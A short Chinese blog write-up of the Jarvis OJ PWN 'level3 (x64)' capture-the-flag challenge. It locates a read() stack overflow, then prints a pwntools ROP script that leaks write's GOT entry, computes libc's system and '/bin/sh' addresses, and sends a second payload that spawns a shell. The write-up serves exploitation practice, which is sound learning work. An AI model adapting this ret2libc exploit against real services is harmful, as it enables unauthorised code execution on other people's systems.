18.9.20 Jarvis OJ PWN----[XMAN]level3(x64)

解压之后有两个文件,其中一个是lib,checksec后发现没有栈保护,wo,好想知道该怎么做了

拖进IDA看一下哪里可以溢出

read函数可以溢出

然后根据偏移量把system函数和/bin/sh在内存的位置提取出来

同样采取rop代码,注意64位的传参数顺序哦

上脚本

#代码主体

write_got=bin.got['write']
write_plt=bin.plt['write']
rdi=0x00000000004006b3
rsi=0x00000000004006b1
payload='a'*(0x80+0x08)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(0x4005E6)
cn.recvline()
cn.sendline(payload)
write_addr=u64(cn.recv(8))
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
sh_addr=write_addr-libc.symbols['write']+libc.search('/bin/sh').next()
payload2='a'*(0x80+0x08)+p64(rdi)+p64(sh_addr)+p64(system_addr)
cn.recvline()
cn.sendline(payload2)
cn.interactive()

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值